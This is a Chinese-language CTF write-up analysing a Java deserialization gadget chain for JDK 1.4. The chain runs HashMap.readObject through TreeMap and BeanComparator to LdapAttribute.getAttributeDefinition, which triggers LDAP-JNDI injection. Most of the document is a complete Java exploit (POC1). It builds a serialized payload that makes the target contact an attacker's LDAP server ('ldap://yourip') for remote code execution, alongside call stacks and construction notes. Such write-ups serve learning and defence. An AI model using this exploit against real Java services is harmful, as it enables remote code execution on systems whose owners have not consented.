[TOC]
0x00 题目分析
本题考查Gadget链的挖掘。题目中给的lib库中存在CommonsBeanutils这条链,根据ysoserial中的代码可知这条链的几个关键节点如下:
PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> rce
然而本题的jdk版本是1.4,不存在PriorityQueue
和TemplatesImpl
类。也就是说这条链的反序列化入口和执行rce的点都没了。年轻的我看到这里以为可能不是这条链,就略过了。然而这正是这道题的考点。
0x01 解题
既然考的就是这个点,那么首先要确定缺哪些东西。除去刚刚说的少的入口和出口,留给我们的就只剩下:BeanComparator.compare() -> 执行getter
这条链。
链的入口需要执行compare()
,最后rce的地方则需要在一个getter
里。
0x02 入口
这里就直接讲解作者给出的链了。
HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()
本质上是当HashMap进行反序列化时,每反序列化一对k-v,都会把这对k-v与之前的k-v的key进行对比。详见下面代码
private void putForCreate(K var1, V var2) {
int var3 = var1 == null ? 0 : hash(var1.hashCode());//计算hashcode
int var4 = indexFor(var3, this.table.length);//根据hashcode计算key在this.table中的索引数
for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
Object var6;
if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {//如果当前的hash与之前key的hash相同,则判断这两个key是否相等,即调用当前key对象的equals()方法来判断。在本gadget中,var1就是AbstractMap对象,但由于这是抽象类,因此使用子类来代替,刚好TreeMap正是其子类。
var5.value = var2;//如果相等,则更新之前key对应的value
return;
}
}
...
}
后面就不再说了
0x03 出口:RCE
这是本题最精彩的地方,作者(膜拜voidfyoo师傅)直接给出了他发现的一条新的用于进行JNDI注入的getter gadget。
这个类就是com.sun.jndi.ldap.LdapAttribute
,其getAttributeDefinition()
方法存在ldap-jndi注入,可以进行rce。
public DirContext getAttributeDefinition() throws NamingException {
DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}
刚看到这条链我以为是在var1.lookup(xx)【var1是LdapSchemaCtx对象】
时造成的JNDI注入,然而我在构造时发现无法进行注入,跟踪之后发现这里只能从已经bind的对象中查询,因此无法利用。
实际上的调用点是在
c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)
至于作者是如何发现这么深的点的,还要从LDAP-JNDI注入的最底层开始说起。
0x04 LDAP-JNDI注入 root cause
回顾一下JNDI注入,写一个LDAP-JNDI注入来调试,
new InitialContext().lookup("ldap://ip/exp");
调试之后,到最终的decodeObject()
解析Reference对象之前(rce)的调用栈如下:
c_lookup:1032, LdapCtx (com.sun.jndi.ldap)
p_lookup:526, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:159, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:185, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:77, ldapURLContext (com.sun.jndi.url.ldap)
lookup:392, InitialContext (javax.naming)
因此,实际上除了InitialContext.lookup()
会造成LDAP-JNDI注入,以下的方法也可以用。
LdapCtx.c_lookup()
ComponentContext.p_lookup()
PartialCompositeContext.lookup()
GenericURLContext.lookup()
ldapURLContext.lookup()
InitialContext.lookup()
本题正是使用了LdapCtx.c_lookup()
。
0x05 构造exp
已经知道了链的逻辑,然而在实际构造exp时还是有不少小坑点的,比如一开始我在构造最外层的HashMap对象时测试代码是这样写的:
TreeMap tm1 = new TreeMap();
TreeMap tm2 = new TreeMap();
tm1.put("111", "AAA");
tm2.put("111", "AAA");
HashMap hm = new HashMap();
hm.put(tm1, "111");
hm.put(tm2, "222");
然而这样构造最终的HashMap对象中实际上只有一个k-v对。因为在put时tm1.equals(tm2)是成立的,因此HashMap认为这是相同的对象,从而对这个key的value进行了更新。其实这里只要把两个TreeMap的key换成LdapAttribute对象实例就好了,而我当时以为只能通过反射来构造,便走了好长的一段弯路。
下面给出我最终构造出的exp
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
public class POC1 {
public static void main(String[] args) {
try{
BasicAttribute la = getGadgetObj();//获取LdapAttribute对象
BeanComparator bc = new BeanComparator("attributeDefinition");
HashMap hm = new HashMap();
TreeMap tm1 = new TreeMap(bc);//用于调用get()
TreeMap tm2 = new TreeMap(bc);//用于调用equals()
tm1.put("aaa", "AAA");
tm2.put(la, "BBB");//key处放LdapAttribute对象
hm.put(tm1, "111");
hm.put(tm2, "222");
//弯路,构造HashMap
Field fi = hm.getClass().getDeclaredField("table");
fi.setAccessible(true);
Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
int tablelength = hmentry.length;
tm1.hashCode();
Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
hash_mt.setAccessible(true);
Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});//获取tm1的hashcode
Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
indexfor_mt.setAccessible(true);
int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());
Map.Entry me = ((Map.Entry[])hmentry)[final_index];//这是key为tm1的entry
// System.out.println(me);
Class entryclazz = Class.forName("java.util.HashMap$Entry");
Field key_fi = entryclazz.getDeclaredField("key");
key_fi.setAccessible(true);
Field modifierField = Field.class.getDeclaredField("modifiers");
modifierField.setAccessible(true);
modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);//去掉final属性
key_fi.set(me, tm2.clone());//将HashMap中的key替换成tm2,使两个相同
//弯路结束
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hm);
System.out.println("trying...");
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
HashMap hmhm = (HashMap)ois.readObject();
System.out.println("end...");
}catch (Exception e){
e.printStackTrace();
}
}
public static BasicAttribute getGadgetObj(){
try{
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, "ldap://yourip");
//不要调用getBaseCtx,否则序列化的时候,baseCtx属性会由于无法类型转换cast导致出错
// Method gbc_mt = clazz.getDeclaredMethod("getBaseCtx", new Class[]{});
// gbc_mt.setAccessible(true);
// DirContext dc_1 = (DirContext)gbc_mt.invoke(la, new Object[]{});
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}
技术垃圾,如有错误大佬轻喷
-
-
-
-
-
-
没有评论